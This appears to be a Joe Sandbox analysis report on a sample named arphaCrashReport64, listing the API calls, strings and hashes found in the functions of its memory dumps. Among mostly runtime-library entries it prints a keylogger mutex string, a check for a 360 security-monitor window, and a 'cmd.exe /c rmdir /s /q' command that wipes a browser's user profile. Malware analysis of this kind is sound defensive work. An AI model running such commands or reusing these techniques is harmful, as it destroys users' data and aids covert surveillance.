Opcode ID: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction ID: b8a24eca6ba5060f33ac134c71d127dcb204f2a619f1c5f6c6d10998339d7046
Opcode Fuzzy Hash: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction Fuzzy Hash: 75112B7560A64082EB548F52E81D795E370FBECBB4F045224E96A43BE4DF7CC00A8B01

Function 000002177938FB30 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34sleeplibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000021779382AC0: CreateToolhelp32Snapshot.KERNEL32 ref: 0000021779382AD6

LoadLibraryW.KERNEL32 ref: 000002177938FB48

Part of subcall function 000002177938F2D0: CreateFileW.KERNEL32 ref: 000002177938F303

FindWindowW.USER32 ref: 000002177938FB69
IsDlgButtonChecked.USER32 ref: 000002177938FB84
Sleep.KERNEL32 ref: 000002177938FB8F

Part of subcall function 000002177938F360: GetCurrentProcessId.KERNEL32 ref: 000002177938F3A0
Part of subcall function 000002177938F360: GetCurrentThreadId.KERNEL32 ref: 000002177938F3A8
Part of subcall function 000002177938F360: VirtualProtect.KERNEL32 ref: 000002177938F3CF
Part of subcall function 000002177938F360: VirtualProtect.KERNEL32 ref: 000002177938F3F6
Part of subcall function 000002177938F360: CreateProcessWithLogonW.ADVAPI32 ref: 000002177938F450
Part of subcall function 000002177938F360: VirtualProtect.KERNEL32 ref: 000002177938F475
Part of subcall function 000002177938F360: VirtualProtect.KERNEL32 ref: 000002177938F49C
Part of subcall function 000002177938F360: CloseHandle.KERNEL32 ref: 000002177938F4AC

Strings

user32.dll, xrefs: 000002177938FB41
Q360SafeMonClass, xrefs: 000002177938FB60

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ProtectVirtual$Create$CurrentProcess$ButtonCheckedCloseFileFindHandleLibraryLoadLogonSleepSnapshotThreadToolhelp32WindowWith
String ID: Q360SafeMonClass$user32.dll
API String ID: 200090976-537184153
Opcode ID: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction ID: de6327f2a07cb1fc6445d03e2016450c472ead3fccfafe1bf94b67fed4392dfe
Opcode Fuzzy Hash: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction Fuzzy Hash: 9BF0623071B60142FB556F71986EBE5D1F5AFFC771F443434990A452D1EE2CC8478261

Function 000002177938E1F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 34sleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 000002177938E20B
GetLastError.KERNEL32 ref: 000002177938E214
GetModuleHandleA.KERNEL32 ref: 000002177938E223

Part of subcall function 000002177938DA90: SHGetFolderPathA.SHELL32 ref: 000002177938DACD
Part of subcall function 000002177938DA90: lstrcat.KERNEL32 ref: 000002177938DADD
Part of subcall function 000002177938DA90: CreateMutexA.KERNEL32 ref: 000002177938DAEE
Part of subcall function 000002177938DA90: WaitForSingleObject.KERNEL32 ref: 000002177938DB06
Part of subcall function 000002177938DA90: CreateFileA.KERNEL32 ref: 000002177938DB34
Part of subcall function 000002177938DA90: GetFileSize.KERNEL32 ref: 000002177938DB42
Part of subcall function 000002177938DA90: CloseHandle.KERNEL32 ref: 000002177938DB4D
Part of subcall function 000002177938DA90: DeleteFileA.KERNEL32 ref: 000002177938DB5E
Part of subcall function 000002177938DA90: ReleaseMutex.KERNEL32 ref: 000002177938DB70

Part of subcall function 000002177938DEB0: GetKeyState.USER32 ref: 000002177938DFA5
Part of subcall function 000002177938DEB0: lstrlen.KERNEL32 ref: 000002177938DFFE
Part of subcall function 000002177938DEB0: wsprintfA.USER32 ref: 000002177938E06C
Part of subcall function 000002177938DEB0: lstrlen.KERNEL32 ref: 000002177938E105

Sleep.KERNEL32 ref: 000002177938E250
CloseHandle.KERNEL32 ref: 000002177938E261

Strings

K^e^y^L^o^g^g^e^r, xrefs: 000002177938E200

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CreateFileHandleMutex$Closelstrlen$DeleteErrorFolderLastModuleObjectPathReleaseSingleSizeSleepStateWaitlstrcatwsprintf
String ID: K^e^y^L^o^g^g^e^r
API String ID: 809812578-2826508260
Opcode ID: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction ID: 883e8319e6e33239093924438dd069bb038b146983455a6d88a80e18710bc186
Opcode Fuzzy Hash: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction Fuzzy Hash: 8201AD3120EA41D2EB94AF21F44C6EAE3B1E7ED7A0F446124E65A426E1CF3CC49BC700

Function 000002177938EC62 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 25processCOMMON

Download Yara Rule

APIs

Part of subcall function 000002177938F1D0: CreateToolhelp32Snapshot.KERNEL32 ref: 000002177938F1F7

WinExec.KERNEL32 ref: 000002177938ECC3

Part of subcall function 000002177938F130: SHGetKnownFolderPath.SHELL32 ref: 000002177938F166
Part of subcall function 000002177938F130: wsprintfW.USER32 ref: 000002177938F184

Strings

360se6.exe, xrefs: 000002177938EC69
\AppData\Roaming\360se6\User Data\Default, xrefs: 000002177938EC79, 000002177938EC9F
cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default", xrefs: 000002177938ECBA
360se.exe, xrefs: 000002177938EC8F
360chrome.exe, xrefs: 000002177938ECAE

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CreateExecFolderKnownPathSnapshotToolhelp32wsprintf
String ID: 360chrome.exe$360se.exe$360se6.exe$\AppData\Roaming\360se6\User Data\Default$cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default"
API String ID: 3785949191-1706831714
Opcode ID: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction ID: 3654b1136a4e803723717e5b9eaee4c97325cb274463fbb39e8fa1598b43fd48
Opcode Fuzzy Hash: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction Fuzzy Hash: C6F0973420B60194FA10EF21EC5E6D5D3B0ABFCB64F883421A90D822F6DE2CC54BC360

Function 00000217790B0AA8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217790B0AC7

Part of subcall function 00000217790A96DC: _getptd.LIBCMT ref: 00000217790A96E0

_getptd.LIBCMT ref: 00000217790B0AD9
_getptd.LIBCMT ref: 00000217790B0AE7

Strings

RCC, xrefs: 00000217790B0AAF
csm, xrefs: 00000217790B0ABF
MOC, xrefs: 00000217790B0AB7

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 257f8fed8081e17f5d6b9130d54d105b722475b3747730d15e596db48a09bd0d
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: B7F0303416A1068EEA566F64844E7E471B0FFAD325F455AA494048A5E3D7BC4881C7A2

Function 00000217793A10F0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217793A110F

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

Part of subcall function 0000021779399D24: _getptd.LIBCMT ref: 0000021779399D28

_getptd.LIBCMT ref: 00000217793A1121
_getptd.LIBCMT ref: 00000217793A112F

Strings

MOC, xrefs: 00000217793A10FF
RCC, xrefs: 00000217793A10F7
csm, xrefs: 00000217793A1107

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$_amsg_exit
String ID: MOC$RCC$csm
API String ID: 2610988583-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 56254e74387bf31c0e537422e82332721b98648533f4d79d0fc3e5de963db14a
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: 59F0393660A14586E755AFA5C04D3FCB2F0E7FC739F9AA0609640423C287AC48928B12

Function 00000217790AD470 Relevance: 9.3, APIs: 6, Instructions: 293COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 00000217790AD4C0
_errno.LIBCMT ref: 00000217790AD4C7
_invalid_parameter_noinfo.LIBCMT ref: 00000217790AD4D2
__doserrno.LIBCMT ref: 00000217790AD61D
free.LIBCMT ref: 00000217790AD674
_errno.LIBCMT ref: 00000217790AD6E4

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: __doserrno_errno$_invalid_parameter_noinfofree
String ID:
API String ID: 3760323483-0
Opcode ID: f6f2cbfcb04b39f03fd32e05ec31852a2d6f70f061b4e20e682d57eae25433b6
Instruction ID: c355e41dc371eb90cc295bb1c9a55e47b9bba1b71ee465cce95964c4244dc6f2
Opcode Fuzzy Hash: f6f2cbfcb04b39f03fd32e05ec31852a2d6f70f061b4e20e682d57eae25433b6
Instruction Fuzzy Hash: 0891E83062DA4A8FE75AAF68C4497F8B7F1FBA9325F10412DD48AC71D2DA349407C7A1

Function 00000217790A58A8 Relevance: 9.2, APIs: 6, Instructions: 164COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217790A58C7

Part of subcall function 00000217790A54E4: _getptd.LIBCMT ref: 00000217790A54EE

Part of subcall function 00000217790A4CB4: malloc.LIBCMT ref: 00000217790A4CDF

free.LIBCMT ref: 00000217790A5952

Part of subcall function 00000217790A36E0: _errno.LIBCMT ref: 00000217790A3700

_lock.LIBCMT ref: 00000217790A5982
free.LIBCMT ref: 00000217790A5A25
free.LIBCMT ref: 00000217790A5A51
_errno.LIBCMT ref: 00000217790A5A56

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno_getptd$_lockmalloc
String ID:
API String ID: 1369581901-0
Opcode ID: dfd48de12b3e966387c16bd8cfcff08fc85f586fa0c636f5f2138c5d3ae57c13
Instruction ID: 6432aff4c8bf409cf87346218a53062b791cd31758dfefc5df0ddec090fc8b73
Opcode Fuzzy Hash: dfd48de12b3e966387c16bd8cfcff08fc85f586fa0c636f5f2138c5d3ae57c13
Instruction Fuzzy Hash: E8519D3062DA464FEB96DF2894867ECB7E1FBAC324F144159D849C72D2DA349843C7E2

Function 0000021779395EF0 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021779395F0F

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

Part of subcall function 0000021779395B2C: _getptd.LIBCMT ref: 0000021779395B36
Part of subcall function 0000021779395B2C: _amsg_exit.LIBCMT ref: 0000021779395BD3

Part of subcall function 0000021779395BE8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,0000021779395F2A,?,?,?,?,?,00000217793960E7), ref: 0000021779395C12

Part of subcall function 00000217793952FC: malloc.LIBCMT ref: 0000021779395327
Part of subcall function 00000217793952FC: Sleep.KERNEL32(?,?,ceil,0000021779399B11,?,?,?,0000021779399BBB,?,?,00000000,0000021779394875,?,?,00000000,000002177939492C), ref: 000002177939533A

free.LIBCMT ref: 0000021779395F9A

Part of subcall function 0000021779393D28: HeapFree.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D3E
Part of subcall function 0000021779393D28: _errno.LIBCMT ref: 0000021779393D48
Part of subcall function 0000021779393D28: GetLastError.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D50

_lock.LIBCMT ref: 0000021779395FCA
free.LIBCMT ref: 000002177939606D
free.LIBCMT ref: 0000021779396099
_errno.LIBCMT ref: 000002177939609E

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$_amsg_exit_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 3894533514-0
Opcode ID: eb00640c03e47e874c894215d7be1c1520d5e1d63ad340f99a6365e368a02bbf
Instruction ID: 8c8708583debec738b526e8c34f7e88fc80e1bfa9648e91fa39713909ee43c9d
Opcode Fuzzy Hash: eb00640c03e47e874c894215d7be1c1520d5e1d63ad340f99a6365e368a02bbf
Instruction Fuzzy Hash: 1251BD3560EA4085E6549F25A4883FAF6B1F7E8BBCF146116DA5A473D9CB38C4438310

Function 00000217790A856C Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 00000217790A8593
_errno.LIBCMT ref: 00000217790A85A7
_invalid_parameter_noinfo.LIBCMT ref: 00000217790A85B3
calloc.LIBCMT ref: 00000217790A85F5
_errno.LIBCMT ref: 00000217790A8602
_errno.LIBCMT ref: 00000217790A860D

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 2577527384-0
Opcode ID: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction ID: b351a7d7b34f9953e14a349cd40760adf4bd1e1e305c157b81c34e934db32250
Opcode Fuzzy Hash: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction Fuzzy Hash: 53316130639A0B4FE756AF6C540A7A9F2F1FBAD310F4101699849C72D2DA30DC02C7E2

Function 00007FF73D1C96F0 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF73D1C9764

Part of subcall function 00007FF73D1C92B0: GetParent.USER32 ref: 00007FF73D1C92F2
Part of subcall function 00007FF73D1C92B0: SetWindowTextW.USER32 ref: 00007FF73D1C9318
Part of subcall function 00007FF73D1C92B0: GetDlgItem.USER32 ref: 00007FF73D1C9327
Part of subcall function 00007FF73D1C92B0: SendMessageW.USER32 ref: 00007FF73D1C9342
Part of subcall function 00007FF73D1C92B0: SendMessageW.USER32 ref: 00007FF73D1C9388
Part of subcall function 00007FF73D1C92B0: SendMessageW.USER32 ref: 00007FF73D1C93A9
Part of subcall function 00007FF73D1C92B0: SendMessageW.USER32 ref: 00007FF73D1C93C1
Part of subcall function 00007FF73D1C92B0: SendMessageW.USER32 ref: 00007FF73D1C9409
Part of subcall function 00007FF73D1C92B0: SendMessageW.USER32 ref: 00007FF73D1C942D
Part of subcall function 00007FF73D1C92B0: SendMessageW.USER32 ref: 00007FF73D1C9446
Part of subcall function 00007FF73D1C92B0: GetDlgItem.USER32 ref: 00007FF73D1C9455

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: MessageSend$Item$DialogParentTextWindow
String ID:
API String ID: 271282217-0
Opcode ID: 052a828648b87492a7a14e08253b75787d6a8319cc53b8d316027b8f1f35d00e
Instruction ID: 53dc064e98b371192319cdc20cf18d5eb2963f293edbd51348e26251a25fb140
Opcode Fuzzy Hash: 052a828648b87492a7a14e08253b75787d6a8319cc53b8d316027b8f1f35d00e
Instruction Fuzzy Hash: 4D414F72B0C74A93EB509B56F450229A3A0FB88B84F954035EB8D477A9EF3CD991C610

Function 00000217790A9468 Relevance: 9.1, APIs: 6, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 00000217790A948F

Part of subcall function 00000217790A9E5C: _set_error_mode.LIBCMT ref: 00000217790A9E65
Part of subcall function 00000217790A9E5C: _set_error_mode.LIBCMT ref: 00000217790A9E74

Part of subcall function 00000217790A9BFC: _set_error_mode.LIBCMT ref: 00000217790A9C41
Part of subcall function 00000217790A9BFC: _set_error_mode.LIBCMT ref: 00000217790A9C52

Part of subcall function 00000217790A4CB4: malloc.LIBCMT ref: 00000217790A4CDF

_errno.LIBCMT ref: 00000217790A94D1
_lock.LIBCMT ref: 00000217790A94E5
free.LIBCMT ref: 00000217790A9508
_errno.LIBCMT ref: 00000217790A950D

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _set_error_mode$_errno$_lockfreemalloc
String ID:
API String ID: 360200360-0
Opcode ID: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction ID: 21d675dd347d1a47e77c4b0b5d829774313622a4b8ffcdce52f06797a287e826
Opcode Fuzzy Hash: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction Fuzzy Hash: FB21533422E60A8FF756BF64DC597E9B6F1EBE8360F514428A019D32D2DB748842C7E1

Function 0000021779398BB4 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000021779398BDB

Part of subcall function 0000021779399B98: _amsg_exit.LIBCMT ref: 0000021779399BC2

_errno.LIBCMT ref: 0000021779398BEF
_invalid_parameter_noinfo.LIBCMT ref: 0000021779398BFB

Part of subcall function 0000021779395664: GetCurrentProcess.KERNEL32(?,?,?,?,0000021779395706), ref: 000002177939567C

calloc.LIBCMT ref: 0000021779398C3D
_errno.LIBCMT ref: 0000021779398C4A
_errno.LIBCMT ref: 0000021779398C55

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$CurrentProcess_amsg_exit_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 1209116363-0
Opcode ID: 3d055b34e79a5cda464dcf1f1aea2af4a9904d0a9e2e1322d776b52311ff47c0
Instruction ID: f34b8cf71e0019d349b8ecef74401977e93fcb54ed9adf1450cdeaca8f9ba76e
Opcode Fuzzy Hash: 3d055b34e79a5cda464dcf1f1aea2af4a9904d0a9e2e1322d776b52311ff47c0
Instruction Fuzzy Hash: 6D2176B530B70181F7146F55A4593FAE2B5ABE97F8F486424DF49577C6DE38C8128700

Function 000002177939976C Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00000217793942ED), ref: 0000021779399785
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00000217793942ED), ref: 00000217793997DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00000217793942ED), ref: 0000021779399817
free.LIBCMT ref: 0000021779399824
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00000217793942ED), ref: 000002177939982F
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00000217793942ED), ref: 000002177939983D

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$free
String ID:
API String ID: 517548149-0
Opcode ID: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction ID: 463e0b63c140f750991318c2adf718904970707a772fd97e4804bfdfa972ecc2
Opcode Fuzzy Hash: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction Fuzzy Hash: 36214132A0EB8086EB649F11A4183A9B7F5FBDDBE4F485018EE8A07794DF38C452C704

Function 00000217790A8448 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 00000217790A8455
_errno.LIBCMT ref: 00000217790A845D
_invalid_parameter_noinfo.LIBCMT ref: 00000217790A8469
_errno.LIBCMT ref: 00000217790A8492

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 4115123133-0
Opcode ID: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction ID: ca9815126236e5b435856142fb7a71814084444562ddbba576f53183398a7736
Opcode Fuzzy Hash: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction Fuzzy Hash: F2015A7063B2024BF7222FB8484E3E9A2B5DFBA336F400160AD61961E2C6244842D6F1

Function 00000217793948D4 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA,?,?,?,?,00000217793A34F1), ref: 00000217793948DE
FlsGetValue.KERNEL32(?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA,?,?,?,?,00000217793A34F1), ref: 00000217793948EC
SetLastError.KERNEL32(?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA,?,?,?,?,00000217793A34F1), ref: 0000021779394944

Part of subcall function 000002177939537C: Sleep.KERNEL32(?,?,ceil,0000021779394907,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 00000217793953C1

FlsSetValue.KERNEL32(?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA,?,?,?,?,00000217793A34F1), ref: 0000021779394918
free.LIBCMT ref: 000002177939493B

Part of subcall function 000002177939481C: _lock.LIBCMT ref: 0000021779394870
Part of subcall function 000002177939481C: _lock.LIBCMT ref: 000002177939488F

GetCurrentThreadId.KERNEL32 ref: 000002177939492C

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: 6ebd17abd531518c99cd0e2d202aae095663125e7d7d49137b697db85a716716
Instruction ID: 157e570ccb7e3ba7fe0d4788d5b25dc2688d0c6f874ea590229a32d759965a74
Opcode Fuzzy Hash: 6ebd17abd531518c99cd0e2d202aae095663125e7d7d49137b697db85a716716
Instruction Fuzzy Hash: 2701253560B75046FA445F6AE45C3B8A2B1FBEC7B4F586224D925023D1DE38C4478610

Function 00000217790B1350 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217790B1381
_getptd.LIBCMT ref: 00000217790B139F
_CallSETranslator.LIBCMT ref: 00000217790B13E7

Part of subcall function 00000217790B0340: _getptd.LIBCMT ref: 00000217790B0367

Strings

MOC, xrefs: 00000217790B13B5
RCC, xrefs: 00000217790B13BD

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CallTranslator
String ID: MOC$RCC
API String ID: 3569367362-2084237596
Opcode ID: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction ID: 07d391c6d815aeb9c435c7671440931c664a5dc2adeb05996390f404222d19de
Opcode Fuzzy Hash: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction Fuzzy Hash: 5571C33012DB0A8AE765EF54C4497E9F3F1FBAA324F500A5ED045C3586EB74A592C782

Function 00000217793A1998 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217793A19C9

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

_getptd.LIBCMT ref: 00000217793A19E7
_CallSETranslator.LIBCMT ref: 00000217793A1A2F

Part of subcall function 00000217793A0988: _getptd.LIBCMT ref: 00000217793A09AF

Strings

MOC, xrefs: 00000217793A19FD
RCC, xrefs: 00000217793A1A05

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CallTranslator_amsg_exit
String ID: MOC$RCC
API String ID: 1374396951-2084237596
Opcode ID: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction ID: 2533aa5b40cf45bd6428eb975e12d05581aa3ebe8f9ea5f868cd84204de7b903
Opcode Fuzzy Hash: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
